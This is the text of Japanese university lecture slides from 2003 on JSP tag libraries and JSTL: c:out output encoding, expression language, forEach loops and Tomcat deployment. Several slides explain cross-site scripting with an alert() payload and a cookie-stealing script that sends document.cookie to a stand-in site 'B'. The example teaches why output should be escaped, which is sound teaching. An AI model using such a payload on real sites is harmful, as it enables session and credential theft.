2003年度 データベース論

タグライブラリとJSP
Javaによる
Webアプリケーション入門
第5回
1
ここでの内容

タグライブラリの使い方、特にJSTLについ
て学ぶ。
2
タグライブラリ



JSPの中で定義できる独自のタグ。
スクリプトレットを減らすことができる。
タグライブラリの構成


タグの処理を記述する Java のプログラム
タグに関する情報を持つ Tag Library
Descriptor (TLD)
3
さまざまなタグライブラリ


既製のタグライブラリもいくつかある。
JavaServer Pages Standard Tag Library
(JSTL)




値の設定・制御構造
データベースへのアクセス、国際化、XMLの解
析など
Jakarta Taglibs
Struts のタグライブラリ
4
タグのエンコード (1)


フォームから入力した
文字列を出力するサ
ンプル
c:out を使うと、“<”
や “>” や “&” といっ
た文字をエンコードす
る。
<p>
c:out を使わない場合:
<%=
request.getParameter("title")
%>
</p>
<p>
c:out を使った場合:
<c:out value="${param.title}" />
</p>
5
タグのエンコード (2)

入力文字列


c:out を使った場合


<m>wakhok</m>
<m>wakhok</m>
c:out を使わない場合

wakhok
6
クロスサイトスクリプティング (1)
フォームから入力されたタグが
そのまま出力される
↓
入力された文字が JavaScript だった場合
↓
JavaScript が実行されてしまう!
7
クロスサイトスクリプティング (2)
実例
<script>alert(“アホですか?”);</script>
↓
警告画面が表示されてしまう
8
クロスサイトスクリプティング (3)
cookie が盗まれる例 (1)



ショッピングサイト “WAK” とその利用者が
狙われる例
“WAK” の商品検索システムは、クロスサ
イトスクリプティングを引き起こしてしまうよ
うになっている。
“WAK” では、商品を購入するときに使う
ユーザ名とパスワードを cookie に保存し
ている。
9
クロスサイトスクリプティング (4)
cookie が盗まれる例 (2)



ここで、怪しいサイト“A”が登場する。
“A” には、“WAK” へのリンクが貼られてい
る。
その内容は

WAK の Cookie を取得して、その Cookie を
別のサイト “B” の getCookie.jsp に渡す
JavaScript
10
クロスサイトスクリプティング (5)
cookie が盗まれる例 (3)

リンクの内容
<a href=
“http://wak/search.jsp?p=(JavaScriptのタグ)”>
Hなサイト
</a>
11
クロスサイトスクリプティング (6)
cookie が盗まれる例 (4)

JavaScript の内容
<script>
s = document.cookie;
location.href =
“http://B/getCookie.jsp?c=“+str;
</script>
12
クロスサイトスクリプティング (7)
cookie が盗まれる例 (5)




“WAK” の利用者が サイト “A” へのリンク
をうっかり押してしまった場合
リンク先の “WAK” のサイトが表示されると
き、同時に JavaScript を実行されて
Cookie を盗まれる
ユーザ名とパスワードを盗られたので、あ
とはやられ放題。
13
タグのエンコード (3)



タグの入力を許可してしまうと、クロスサイ
トスクリプティングを引き起こすことが考え
られる。
タグの入力を許可しない方がよい。
こうした処理をタグライブラリを使わずに書
くには、スクリプトレットを使う必要がある。
14
タグライブラリを使う
利用するタグライブラリと、その接頭辞を指定
<%@ taglib prefix="c"
uri="http://java.sun.com/jsp/jstl/core" %>

15
式言語 (Expression Language)
${var}
${param.title}
${book.author}
変数 var
フォームから入力され
たデータ "title" の値
book という Bean の
author プロパティ
16
制御構造の例
<ul>
<c:forEach var="book"
items="${bookList.iterator}" >
<li>
<c:out value="${book.title}" />
/
<c:out value="${book.author}" />
</li>
</c:forEach>
</ul>
17
Tomcat への配置

JSTL の配布パッケージの lib フォルダに
含まれている次の2つのjarファイルを
WEB-INF/lib フォルダにコピーする。


jstl.jar
standard.jar
18